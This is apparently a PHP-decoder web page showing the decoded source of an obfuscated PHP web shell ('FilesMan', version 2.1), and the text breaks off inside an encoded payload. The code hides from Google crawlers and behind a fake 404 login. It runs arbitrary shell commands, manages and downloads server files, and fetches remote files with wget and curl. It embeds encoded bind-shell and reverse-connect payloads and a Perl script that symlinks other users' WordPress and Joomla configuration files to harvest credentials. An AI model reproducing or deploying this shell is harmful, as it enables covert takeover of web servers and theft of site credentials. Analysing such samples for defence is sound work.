Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$auth_pass = "720284a7dd7fee50d09b53b77feee12b"; $jkt48 = "7P12auM2EjAKf+6ck//AKD1we9x6Rp..
Decoded Output download
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od